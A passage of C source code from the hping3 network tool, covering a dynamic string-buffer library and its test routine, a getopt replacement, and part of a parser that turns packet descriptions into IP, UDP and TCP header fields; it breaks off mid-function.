add; i++) printf(" "); printf("%s\n", adbuf_ptr(&b)); adbuf_rtrim(&b, 1); adbuf_ltrim(&b, 1); add++; } adbuf_free(&b); adbuf_init(&b); for (i = 0; i < 6000; i++) { char c; for (c = 'A'; c <= 'Z'; c++) adbuf_addchar(&b, c); } adbuf_rtrim(&b, adbuf_used(&b)-500); printf("%s\n", adbuf_ptr(&b)); adbuf_free(&b); adbuf_init(&b); adbuf_strcat(&b, "adbuf_printf with small output: "); adbuf_printf(&b, "%d %04x", 123456789, 123456789); printf("%s\n", adbuf_ptr(&b)); adbuf_reset(&b); for (i = 0; i < 1024; i++) { adbuf_addchar(&b, 'X'); } adbuf_init(&bb); adbuf_printf(&bb, "%s---%s", adbuf_ptr(&b), adbuf_ptr(&b)); adbuf_free(&b); printf("bif printf test... "); if (strlen(adbuf_ptr(&bb)) == (1024*2)+3) printf("PASSED\n"); else printf("FALIED!!!\n"); adbuf_free(&bb); return 0; } #endif /* TEST_MAIN */ hping3-3.a2.ds2/adbuf.h000066400000000000000000000027601021454026700146360ustar00rootroot00000000000000/* adbuf.h - header file for adbuf.c * * Copyright(C) 2001-2002 Salvatore Sanfilippo * All rights reserved. * See the LICENSE file for COPYRIGHT and PERMISSION notice */ /* $Id: adbuf.h,v 1.1.1.1 2003/08/31 17:24:00 antirez Exp $ */ #ifndef _ADBUF_H #define _ADBUF_H #include struct adbuf { char *buf; size_t size; /* total buffer size */ size_t left; /* unused buffer size */ /* the size of data stored is just size-left */ }; #define ADBUF_INCR 256 /* note that this MUST BE >= 1 */ #define adbuf_used(b) ((b)->size - (b)->left) #define adbuf_ptr(b) ((b)->buf) /* Rawly create an adbuf object. 's' is supposed to be some heap * memory already allocated, with some nul-term string inside */ #define adbuf_from_heapstring(b,s) \ do { b->buf = s; b->left = 0; b->size = strlen(s); } while(0) int adbuf_init(struct adbuf *b); void adbuf_free(struct adbuf *b); int adbuf_reset(struct adbuf *b); int adbuf_add(struct adbuf *b, void *data, size_t len); int adbuf_addchar(struct adbuf *b, int c); int adbuf_strcat(struct adbuf *b, char *string); int adbuf_cat(struct adbuf *a, struct adbuf *b); int adbuf_cut(struct adbuf *b, size_t count); int adbuf_ltrim(struct adbuf *b, size_t count); int adbuf_rtrim(struct adbuf *b, size_t count); int adbuf_add_long(struct adbuf *b, long l); int adbuf_add_ulong(struct adbuf *b, unsigned long l); int adbuf_clone(struct adbuf *src, struct adbuf *dst); int adbuf_printf(struct adbuf *dst, const char *fmt, ...); #endif /* _ADBUF_H */ hping3-3.a2.ds2/antigetopt.c000066400000000000000000000152731021454026700157310ustar00rootroot00000000000000/* antigetopt -- a getopt replacement * Copyright(C) 2001 Salvatore Sanfilippo * This software is released under the GPL license * see the COPYING file for more information */ /* $Id: antigetopt.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ /* TODO: * argument list sanity check */ #include #include #include #include "antigetopt.h" /* global vars */ char *ago_optarg = NULL; char *ago_optname = NULL; char ago_optchar = '\0'; /* static vars */ static struct ago_exception { int (*tester)(void); char *msg; } ago_exceptions[3] = { { NULL, NULL }, { NULL, NULL }, { NULL, NULL } }; static int ago_exception_bits[] = { AGO_EXCEPT0, AGO_EXCEPT1, AGO_EXCEPT2 }; /* static functions */ static struct ago_optlist *ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb); static int strinitcmp(char *a, char *b); /*----------------------------- implementation ------------------------------ */ int antigetopt(int argc, char **argv, struct ago_optlist *list) { static char **save_argv = NULL; static char *chain = NULL; static int endoptions = 0; struct ago_optlist *opt; int islong; /* Reset */ if (argv == NULL) { save_argv = NULL; chain = NULL; endoptions = 0; return AGO_RESET; } else { if (save_argv == NULL) { save_argv = argv+1; /* skips the argv[0] */ /* XXX: argument list sanity check */ } } chain_start: if (chain) { if (*chain == '\0') chain = NULL; else { if ((opt = ago_lookup(list, chain, &islong, NULL)) == NULL) return AGO_UNKNOWN; if (!(opt->ao_flags & AGO_NOARG)) { /* the if expression maybe false if the * argument is optional */ if (chain[1] == '\0' && *save_argv) ago_optarg = *save_argv++; /* while it is mandatory for the NEEDARG type */ else if (opt->ao_flags & AGO_NEEDARG) return AGO_REQARG; } chain++; return opt->ao_id; } } argv = save_argv; /* handle the "--" special option */ if (*argv && strcmp(*argv, "--") == 0) { endoptions = 1; argv++; save_argv++; } while(*argv) { /* The option must start with '-' */ if (!endoptions && argv[0][0] == '-' && argv[0][1] != '\0') { int amb; /* note: ago_lookup also sets ago_optname */ if ((opt = ago_lookup(list, argv[0], &islong, &amb)) == NULL) return amb ? AGO_AMBIG : AGO_UNKNOWN; /* handle the collapsed short options */ if (!islong && argv[0][2] != '\0') { chain = argv[0]+1; save_argv++; goto chain_start; } /* if the option require or may have an argument */ ago_optarg = NULL; /* If the argument is needed we get the next argv[] * element without care about what it contains */ if (opt->ao_flags & AGO_NEEDARG) { if (argv[1] == NULL) return AGO_REQARG; ago_optarg = argv[1]; argv++; } /* If the argument is optional we only recognize it * as argument if it does not starts with '-' */ else if (opt->ao_flags & AGO_OPTARG) { if (argv[1] && argv[1][0] != '-') { ago_optarg = argv[1]; argv++; } } save_argv = argv+1; return opt->ao_id; } else { save_argv = argv+1; ago_optarg = argv[0]; ago_optchar = '\0'; ago_optname = NULL; return AGO_ALONE; } } return AGO_EOF; } #define UNK_SHORT_ERRSTRING "invalid option -- %c\n" #define UNK_LONG_ERRSTRING "unrecognized option `--%s'\n" #define ARG_SHORT_ERRSTRING "option requires an argument -- %c\n" #define ARG_LONG_ERRSTRING "option `--%s' requires an argument\n" #define AMB_ERRSTRING "option `--%s' is ambiguos\n" #define IERR_ERRSTRING "internal error. ago_gnu_error() called with " \ "a bad error code (%d)\n" void ago_gnu_error(char *pname, int error) { if (pname) fprintf(stderr, "%s: ", pname); switch(error) { case AGO_UNKNOWN: if (ago_optname) fprintf(stderr, UNK_LONG_ERRSTRING, ago_optname); else fprintf(stderr, UNK_SHORT_ERRSTRING, ago_optchar); break; case AGO_REQARG: if (ago_optname) fprintf(stderr, ARG_LONG_ERRSTRING, ago_optname); else fprintf(stderr, ARG_SHORT_ERRSTRING, ago_optchar); break; case AGO_AMBIG: fprintf(stderr, AMB_ERRSTRING, ago_optname); break; default: fprintf(stderr, IERR_ERRSTRING, error); break; } } int ago_set_exception(int except_nr, int (*tester)(void), char *msg) { if (tester == NULL || msg == NULL || except_nr < 0 || except_nr >= 3) return -1; ago_exceptions[except_nr].tester = tester; ago_exceptions[except_nr].msg = msg; return 0; } /*-------------------------- static functions ------------------------------- */ struct ago_optlist *ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb) { int i; /* ago_lookup can be receive as `arg' a pointer to a * long argument, like --option, a pointer to a short * argument like -O, or just a pointer to a char sequence * in the case of collapsed short arguments like -abcde. */ /* Clear the 'ambiguos' flag, used to report the caller * an ambiguos option abbreviation error */ if (amb) *amb = 0; if (*arg == '-') /* skips the first - if any */ arg++; switch(*arg) { case '\0': return NULL; case '-': *islong = 1; arg++; /* skip the last - */ break; default: *islong = 0; break; } /* search the argument in the list */ if (*islong) { int retval; struct ago_optlist *last = NULL; while(!(list->ao_flags & AGO_ENDOFLIST)) { ago_optname = arg; ago_optchar = '\0'; if ((retval = strinitcmp(arg, list->ao_long)) != 0) { switch(retval) { case 1: if (last) { if (amb) *amb = 1; return NULL; } last = list; break; case 2: goto ok; } } list++; } if (last) { ago_optname = last->ao_long; list = last; goto ok; } } else { ago_optchar = *arg; ago_optname = NULL; while(!(list->ao_flags & AGO_ENDOFLIST)) { if (*arg == list->ao_short) goto ok; list++; } } return NULL; ok: /* handle the exceptions if any */ for (i = 0; i < 3; i++) { if ((list->ao_flags & ago_exception_bits[i]) && ago_exceptions[i].tester) { if (ago_exceptions[i].tester()) { if (ago_optname) { fprintf(stderr, "%s `--%s'\n", ago_exceptions[i].msg, ago_optname); } else { fprintf(stderr, "%s `-%c'\n", ago_exceptions[i].msg, ago_optchar); } exit(1); } } } return list; } /* Given two strings this function returns: * 1, if the strings are the same for the len of the first string (abc, abcde) * 2, if the strings are exactly the same: (abcd, abcd) * otherwise zero is returned (abcde, abcd) ... (djf, 293492) */ int strinitcmp(char *a, char *b) { if (!a || !b) return 0; while (*a && *b) { if (*a != *b) return 0; a++; b++; } if (*a) return 0; if (*a == *b) return 2; return 1; } hping3-3.a2.ds2/antigetopt.h000066400000000000000000000017761021454026700157410ustar00rootroot00000000000000#ifndef __ANTIGETOPT_H #define __ANTIGETOPT_H /* special return codes */ enum { AGO_EOF=4000, AGO_ALONE, AGO_UNKNOWN, AGO_REQARG, AGO_RESET, AGO_AMBIG }; /* option flags */ #define AGO_NOARG (1<<0) /* no argument */ #define AGO_NEEDARG (1<<1) /* required argument */ #define AGO_OPTARG (1<<2) /* optional argument */ #define AGO_EXCEPT0 (1<<3) /* exception #0 */ #define AGO_EXCEPT1 (1<<4) /* exception #1 */ #define AGO_EXCEPT2 (1<<5) /* exception #3 */ #define AGO_ENDOFLIST (1<<15) /* end of argument list marker */ /* option list null term */ #define AGO_LIST_TERM {'\0',NULL,0,AGO_ENDOFLIST} /* The structure that defines an argument */ struct ago_optlist { char ao_short; char *ao_long; int ao_id; int ao_flags; }; extern char *ago_optarg; extern char *ago_optname; extern char ago_optchar; int antigetopt(int argc, char **argv, struct ago_optlist *list); void ago_gnu_error(char *pname, int error); int ago_set_exception(int except_nr, int (*tester)(void), char *msg); #endif /* __ANTIGETOPT_H */ hping3-3.a2.ds2/apd.c000066400000000000000000000714511021454026700143170ustar00rootroot00000000000000/* Copyright (C) 2000,2001 Salvatore Sanfilippo * See the LICENSE file for more information. * * ARS Packet Description System. * * Please, prefix all the function with ars_d_ */ /* $Id: apd.c,v 1.3 2003/09/07 11:21:18 antirez Exp $ */ #include #include #include #include #include #include #include #include #include #include "ars.h" #include "hstring.h" #include "hex.h" /* FIXME: parsing should use dynamic buffers to use less memory. * For now we support MTU up to 3000 */ #define ARS_MAX_TSIZE (3000*4) char *ars_d_parser(char *t, char *next, size_t size) { int i = 0; if (size == 0 || next == NULL || *t == '\0') return NULL; size--; /* space for nul term */ while (1) { /* no space for the next char */ if (i == size) { next[i] = '\0'; return t; } switch(*t) { case '\0': case '(': case ')': case ',': case '=': case '+': if (i == 0) { next[i] = *t; next[i+1] = '\0'; return t+1; } else { next[i] = '\0'; return t; } default: next[i++] = *t++; break; } } return NULL; /* unreached */ } /* states */ #define ARS_G_LAYER 0 #define ARS_G_FIELD_OR_CBRACE 1 #define ARS_G_VALUE 2 #define ARS_G_OBRACE_OR_PLUS 3 #define ARS_G_CBRACE 4 #define ARS_G_COMMA_OR_CBRACE 5 #define ARS_G_LEN_OR_PLUS 6 #define ARS_G_PLUS 7 #define ARS_G_EQUAL 8 struct ars_d_keyword_info { char *ki_keyword; int ki_opt; void *(*ki_add) (struct ars_packet *pkt, int opt); int (*ki_set) (struct ars_packet *pkt, int layer, char *f, char *v); }; #define ARS_DKINFO_SIZE 64 /* If the user specify a layer number of -1 with *set functions, the * last layer is selected */ #define ARS_DEF_LAYER \ do { \ if (layer == ARS_LAST_LAYER) \ layer = pkt->p_layer_nr - 1; \ if (ars_valid_layer(layer) != -ARS_OK) \ return -ARS_INVALID; \ } while(0) #define BOGUS_SET_F(x) \ int (x)(struct ars_packet *pkt, int layer, char *f, char *v) { return 0; } int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_ipopt_rr(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_ipopt_ts(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_ipopt_sid(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_ipopt_sec(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_ipopt_dumb(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_tcpopt_mss(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_tcpopt_wscale(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_tcpopt_sack(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_tcpopt_echo(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_tcpopt_dumb(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_igrp(struct ars_packet *pkt, int layer, char *f, char *v); int ars_d_set_igrpentry(struct ars_packet *pkt, int layer, char *f, char *v); BOGUS_SET_F(ars_d_set_tcpopt_ts) struct ars_d_keyword_info ars_dkinfo[ARS_DKINFO_SIZE] = { /* KEYWORD OPT ADD function SET function * * --------------------------------------------------------- */ {"ip", 0, ars_add_iphdr, ars_d_set_ip}, {"ip.eol", ARS_IPOPT_EOL, ars_add_ipopt, ars_d_set_ipopt_dumb}, {"ip.nop", ARS_IPOPT_NOP, ars_add_ipopt, ars_d_set_ipopt_dumb}, {"ip.sec", ARS_IPOPT_SEC, ars_add_ipopt, ars_d_set_ipopt_sec}, {"ip.sid", ARS_IPOPT_SID, ars_add_ipopt, ars_d_set_ipopt_sid}, {"ip.lsrr", ARS_IPOPT_LSRR, ars_add_ipopt, ars_d_set_ipopt_rr}, {"ip.ssrr", ARS_IPOPT_SSRR, ars_add_ipopt, ars_d_set_ipopt_rr}, {"ip.rr", ARS_IPOPT_RR, ars_add_ipopt, ars_d_set_ipopt_rr}, {"ip.ts", ARS_IPOPT_TIMESTAMP, ars_add_ipopt, ars_d_set_ipopt_ts}, {"udp", 0, ars_add_udphdr, ars_d_set_udp}, {"tcp", 0, ars_add_tcphdr, ars_d_set_tcp}, {"tcp.eol", ARS_TCPOPT_EOL, ars_add_tcpopt, ars_d_set_tcpopt_dumb}, {"tcp.nop", ARS_TCPOPT_NOP, ars_add_tcpopt, ars_d_set_tcpopt_dumb}, {"tcp.mss", ARS_TCPOPT_MAXSEG, ars_add_tcpopt, ars_d_set_tcpopt_mss}, {"tcp.wscale", ARS_TCPOPT_WINDOW, ars_add_tcpopt, ars_d_set_tcpopt_wscale}, {"tcp.sackperm", ARS_TCPOPT_SACK_PERM, ars_add_tcpopt, ars_d_set_tcpopt_dumb}, {"tcp.sack", ARS_TCPOPT_SACK, ars_add_tcpopt, ars_d_set_tcpopt_sack}, {"tcp.echo", ARS_TCPOPT_ECHOREQUEST, ars_add_tcpopt, ars_d_set_tcpopt_echo}, {"tcp.echoreply", ARS_TCPOPT_ECHOREPLY, ars_add_tcpopt, ars_d_set_tcpopt_echo}, {"tcp.ts", ARS_TCPOPT_TIMESTAMP, ars_add_tcpopt, ars_d_set_tcpopt_ts}, {"icmp", 0, ars_add_icmphdr, ars_d_set_icmp}, {"igrp", 0, ars_add_igrphdr, ars_d_set_igrp}, {"igrp.entry", 0, ars_add_igrpentry, ars_d_set_igrpentry}, {"data", 0, ars_add_data, ars_d_set_data}, {NULL, 0, NULL, NULL} /* nul term */ }; struct ars_d_keyword_info *ars_get_keyword_by_name(char *name) { struct ars_d_keyword_info *k = ars_dkinfo; while (k->ki_keyword) { if (strcasecmp(k->ki_keyword, name) == 0) return k; k++; } return NULL; } int ars_d_setlayer_size(struct ars_packet *pkt, int layer, char *size) { size_t newsize; ARS_DEF_LAYER; newsize = ars_atou(size); if (newsize < 1 || newsize > pkt->p_layer[layer].l_size) { ars_set_error(pkt, "Invalid layer size in description"); return -ARS_INVALID; } pkt->p_layer[layer].l_size = newsize; __D(printf("Setting the layer to size %s\n", size);) return -ARS_OK; } int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_iphdr *ip; ARS_DEF_LAYER; ip = pkt->p_layer[layer].l_data; if (strcasecmp(f, "saddr") == 0) { return ars_resolve(pkt, &ip->saddr, v); } else if (strcasecmp(f, "daddr") == 0) { return ars_resolve(pkt, &ip->daddr, v); } else if (strcasecmp(f, "ihl") == 0) { ip->ihl = ars_atou(v); pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_HDRLEN; } else if (strcasecmp(f, "ver") == 0) { ip->version = ars_atou(v); pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_VERSION; } else if (strcasecmp(f, "tos") == 0) { ip->tos = ars_atou(v); } else if (strcasecmp(f, "totlen") == 0) { ip->tot_len = htons(ars_atou(v)); pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_TOTLEN; } else if (strcasecmp(f, "id") == 0) { ip->id = htons(ars_atou(v)); } else if (strcasecmp(f, "fragoff") == 0) { ip->frag_off = ip->frag_off & 0xE000; ip->frag_off |= htons(ars_atou(v) >> 3); } else if (strcasecmp(f, "mf") == 0) { if (ars_atou(v) == 0) ip->frag_off &= htons(~ARS_IP_MF); else ip->frag_off |= htons(ARS_IP_MF); } else if (strcasecmp(f, "df") == 0) { if (ars_atou(v) == 0) ip->frag_off &= htons(~ARS_IP_DF); else ip->frag_off |= htons(ARS_IP_DF); } else if (strcasecmp(f, "rf") == 0) { if (ars_atou(v) == 0) ip->frag_off &= htons((u_int16_t)~ARS_IP_RF); else ip->frag_off |= htons(ARS_IP_RF); } else if (strcasecmp(f, "ttl") == 0) { ip->ttl = ars_atou(v); } else if (strcasecmp(f, "proto") == 0) { if (!strcasecmp(v, "icmp")) { ip->protocol = ARS_IPPROTO_ICMP; } else if (!strcasecmp(v, "udp")) { ip->protocol = ARS_IPPROTO_UDP; } else if (!strcasecmp(v, "tcp")) { ip->protocol = ARS_IPPROTO_TCP; } else { ip->protocol = ars_atou(v); } pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_PROTOCOL; } else if (strcasecmp(f, "cksum") == 0) { ip->check = htons(ars_atou(v)); pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_CKSUM; } else { ars_set_error(pkt, "Invalid field for IP layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } /* Note: for all the variable-length ip options the allocated layer data * length is always as big as possible (40 bytes), so set_ipopt_rr() and * other similar functions don't need to check if there is enough room. * Of course functions shoult still check to not overflow over the 40 * bytes, but this makes very little sense. */ #define IPOPTRR_MAX_ENTRIES 9 int ars_d_set_ipopt_rr(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_ipopt *ipopt; ARS_DEF_LAYER; ipopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { ipopt->len = ars_atou(v); } else if (strcasecmp(f, "ptr") == 0) { ipopt->un.rr.ptr = ars_atou(v); pkt->p_layer[layer].l_flags |= ARS_TAKE_IPOPT_PTR; } else if (strcasecmp(f, "data") == 0) { char *addrv[IPOPTRR_MAX_ENTRIES]; int vlen = strlen(v), num, i; char *vcopy = alloca(vlen+1); unsigned char *data = pkt->p_layer[layer].l_data; memcpy(vcopy, v, vlen+1); num = strftok("/", vcopy, addrv, IPOPTRR_MAX_ENTRIES); for (i = 0; i < num; i++) { __u32 addr; int err; err = ars_resolve(pkt, &addr, addrv[i]); if (err != -ARS_OK) return err; memcpy(data+3+(i*4), &addr, 4); } if (ARS_DONTTAKE(pkt->p_layer[layer].l_flags, ARS_TAKE_IPOPT_PTR)) { /* For the record route option the default ptr * is at the end of the specified entries */ if (ipopt->kind == ARS_IPOPT_RR) { ipopt->un.rr.ptr = 4+(num*4); } else { /* For SSRR and LSRR is set at the start * if not otherwise specified. */ ipopt->un.rr.ptr = 4; } } } else { ars_set_error(pkt, "Invalid field for IP.RR layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } #define IPOPTTS_MAX_ENTRIES 9 int ars_d_set_ipopt_ts(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_ipopt *ipopt; int flags, overflow; ARS_DEF_LAYER; ipopt = pkt->p_layer[layer].l_data; overflow = (ipopt->un.ts.flags & 0xF0) >> 4; flags = ipopt->un.ts.flags & 0xF; if (strcasecmp(f, "optlen") == 0) { ipopt->len = ars_atou(v); } else if (strcasecmp(f, "ptr") == 0) { ipopt->un.rr.ptr = ars_atou(v); pkt->p_layer[layer].l_flags |= ARS_TAKE_IPOPT_PTR; } else if (strcasecmp(f, "flags") == 0) { if (strisnum(v)) { flags = ars_atou(v) & 0xF; } else { if (!strcasecmp(v, "tsonly")) flags = ARS_IPOPT_TS_TSONLY; else if (!strcasecmp(v, "tsandaddr")) flags = ARS_IPOPT_TS_TSANDADDR; else if (!strcasecmp(v, "prespec")) flags = ARS_IPOPT_TS_PRESPEC; else { ars_set_error(pkt, "Invalid symbol for ip.ts flags: '%s' (use: tsonly, tsandaddr, prespec or a numerical value)", v); return -ARS_INVALID; } } ipopt->un.ts.flags = ((overflow&0xF)<<4)|(flags&0xF); } else if (strcasecmp(f, "overflow") == 0) { overflow = ars_atou(v) & 0xF; ipopt->un.ts.flags = ((overflow&0xF)<<4)|(flags&0xF); } else if (strcasecmp(f, "data") == 0) { char *addrv[IPOPTTS_MAX_ENTRIES]; int vlen = strlen(v), num, i; char *vcopy = alloca(vlen+1); unsigned char *data = pkt->p_layer[layer].l_data; memcpy(vcopy, v, vlen+1); num = strftok("/", vcopy, addrv, IPOPTTS_MAX_ENTRIES); for (i = 0; i < num; i++) { __u32 addr, ts; int err; char *p; p = strchr(addrv[i], '@'); if (p) { if (flags == ARS_IPOPT_TS_TSONLY) { ars_set_error(pkt, "Gateway specified but ip.ts flags set to 'tsonly'. (Try flags=tsandaddr,data=...)"); return -ARS_INVALID; } *p = '\0'; p++; err = ars_resolve(pkt, &addr, p); if (err != -ARS_OK) return err; ts = ars_atou(addrv[i]); ts = htonl(ts); if (i < 4) { memcpy(data+4+(i*8), &addr, 4); memcpy(data+8+(i*8), &ts, 4); }; } else { if (flags == ARS_IPOPT_TS_TSANDADDR || flags == ARS_IPOPT_TS_PRESPEC) { ars_set_error(pkt, "Gateway not specified in data for ip.ts, but flags set to 'tsandaddr' or 'prespec'. (Try flags=tsonly)"); return -ARS_INVALID; } ts = ars_atou(addrv[i]); ts = htonl(ts); memcpy(data+4+(i*4), &ts, 4); } } if (ARS_DONTTAKE(pkt->p_layer[layer].l_flags, ARS_TAKE_IPOPT_PTR)) { if (flags == ARS_IPOPT_TS_TSANDADDR || flags == ARS_IPOPT_TS_PRESPEC) { ipopt->un.rr.ptr = 5+(num*8); } else { ipopt->un.rr.ptr = 5+(num*4); } } } else { ars_set_error(pkt, "Invalid field for IP.TS layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_ipopt_sid(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_ipopt *ipopt; ARS_DEF_LAYER; ipopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { ipopt->len = ars_atou(v); } else if (strcasecmp(f, "sid") == 0) { ipopt->un.sid.id = ars_atou(v); } else { ars_set_error(pkt, "Invalid field for IP.SID layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_ipopt_sec(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_ipopt *ipopt; ARS_DEF_LAYER; ipopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { ipopt->len = ars_atou(v); } else if (strcasecmp(f, "seclev") == 0) { ipopt->un.sec.s = ars_atou(v); } else if (strcasecmp(f, "comp") == 0) { ipopt->un.sec.c = ars_atou(v); } else if (strcasecmp(f, "hrest") == 0) { if (strlen(v) != 4) { ars_set_error(pkt, "Invalid ip.sec hrest field value of '%s'(should be four hex digits, like this: ...,hrest=252A,...)", v); return -ARS_INVALID; } if (hextobin(&ipopt->un.sec.h, v, 4)) { ars_set_error(pkt, "Invalid hex value for ip.sec hex: '%s'", v); return -ARS_INVALID; } } else if (strcasecmp(f, "tcc") == 0) { if (strlen(v) != 6) { ars_set_error(pkt, "Invalid ip.sec tcc field value of '%s'(should be six hex digits, like this: ...,tcc=252A27,...)", v); return -ARS_INVALID; } if (hextobin(&ipopt->un.sec.h, v, 6)) { ars_set_error(pkt, "Invalid hex value for ip.sec hex: '%s'", v); return -ARS_INVALID; } } else { ars_set_error(pkt, "Invalid field for IP.SEC layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_ipopt_dumb(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_ipopt *ipopt; ARS_DEF_LAYER; ipopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { ipopt->len = ars_atou(v); } else { ars_set_error(pkt, "Invalid field for IP.? layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_udphdr *udp; ARS_DEF_LAYER; udp = pkt->p_layer[layer].l_data; if (strcasecmp(f, "sport") == 0) { udp->uh_sport = htons(ars_atou(v)); } else if (strcasecmp(f, "dport") == 0) { udp->uh_dport = htons(ars_atou(v)); } else if (strcasecmp(f, "len") == 0) { udp->uh_ulen = htons(ars_atou(v)); pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_LEN; } else if (strcasecmp(f, "cksum") == 0) { udp->uh_sum = htons(ars_atou(v)); pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_CKSUM; } else { ars_set_error(pkt, "Invalid field for UDP layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_tcphdr *tcp; ARS_DEF_LAYER; tcp = pkt->p_layer[layer].l_data; if (strcasecmp(f, "sport") == 0) { tcp->th_sport = htons(ars_atou(v)); } else if (strcasecmp(f, "dport") == 0) { tcp->th_dport = htons(ars_atou(v)); } else if (strcasecmp(f, "seq") == 0) { tcp->th_seq = htonl(ars_atou(v)); } else if (strcasecmp(f, "ack") == 0) { tcp->th_ack = htonl(ars_atou(v)); } else if (strcasecmp(f, "x2") == 0) { tcp->th_x2 = ars_atou(v); } else if (strcasecmp(f, "off") == 0) { tcp->th_off = ars_atou(v); pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_HDRLEN; } else if (strcasecmp(f, "flags") == 0) { tcp->th_flags = 0; if (strchr(v, 'f') || strchr(v, 'F')) tcp->th_flags |= ARS_TCP_TH_FIN; if (strchr(v, 's') || strchr(v, 'S')) tcp->th_flags |= ARS_TCP_TH_SYN; if (strchr(v, 'r') || strchr(v, 'R')) tcp->th_flags |= ARS_TCP_TH_RST; if (strchr(v, 'p') || strchr(v, 'P')) tcp->th_flags |= ARS_TCP_TH_PUSH; if (strchr(v, 'a') || strchr(v, 'A')) tcp->th_flags |= ARS_TCP_TH_ACK; if (strchr(v, 'u') || strchr(v, 'U')) tcp->th_flags |= ARS_TCP_TH_URG; if (strchr(v, 'x') || strchr(v, 'X')) tcp->th_flags |= ARS_TCP_TH_X; if (strchr(v, 'y') || strchr(v, 'Y')) tcp->th_flags |= ARS_TCP_TH_Y; } else if (strcasecmp(f, "win") == 0) { tcp->th_win = htons(ars_atou(v)); } else if (strcasecmp(f, "cksum") == 0) { tcp->th_sum = htons(ars_atou(v)); pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_CKSUM; } else if (strcasecmp(f, "urp") == 0) { tcp->th_urp = htons(ars_atou(v)); } else { ars_set_error(pkt, "Invalid field for TCP layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_tcpopt_mss(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_tcpopt *tcpopt; ARS_DEF_LAYER; tcpopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { tcpopt->len = ars_atou(v); } else if (strcasecmp(f, "size") == 0) { tcpopt->un.mss.size = htons(ars_atou(v)); } else { ars_set_error(pkt, "Invalid field for TCP.MSS layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_tcpopt_wscale(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_tcpopt *tcpopt; ARS_DEF_LAYER; tcpopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { tcpopt->len = ars_atou(v); } else if (strcasecmp(f, "shift") == 0) { tcpopt->un.win.shift = htons(ars_atou(v)); } else { ars_set_error(pkt, "Invalid field for TCP.WSCALE layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } #define TCPOPTSACK_MAX_ENTRIES 4 int ars_d_set_tcpopt_sack(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_tcpopt *tcpopt; ARS_DEF_LAYER; tcpopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { tcpopt->len = ars_atou(v); } else if (strcasecmp(f, "blocks") == 0) { char *bv[TCPOPTSACK_MAX_ENTRIES]; int vlen = strlen(v), num, i; char *vcopy = alloca(vlen+1); unsigned char *data = pkt->p_layer[layer].l_data; memcpy(vcopy, v, vlen+1); num = strftok("/", vcopy, bv, TCPOPTSACK_MAX_ENTRIES); for (i = 0; i < num; i++) { char *p; __u32 s_origin, s_len; p = strchr(bv[i], '-'); if (!p) { ars_set_error(pkt, "Invalid syntax for tcp.sack blocks: '%s' (try ...tcp.sack(blocks=123342-10/12653-50/0-0/0-0)... )"); return -ARS_INVALID; } *p = '\0'; p++; s_origin = htonl(ars_atou(bv[i])); s_len = htonl(ars_atou(p)); memcpy(data+2+(i*8), &s_origin, 4); memcpy(data+6+(i*8), &s_len, 4); } } else { ars_set_error(pkt, "Invalid field for TCP.SACK layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_tcpopt_dumb(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_tcpopt *tcpopt; ARS_DEF_LAYER; tcpopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { tcpopt->len = ars_atou(v); } 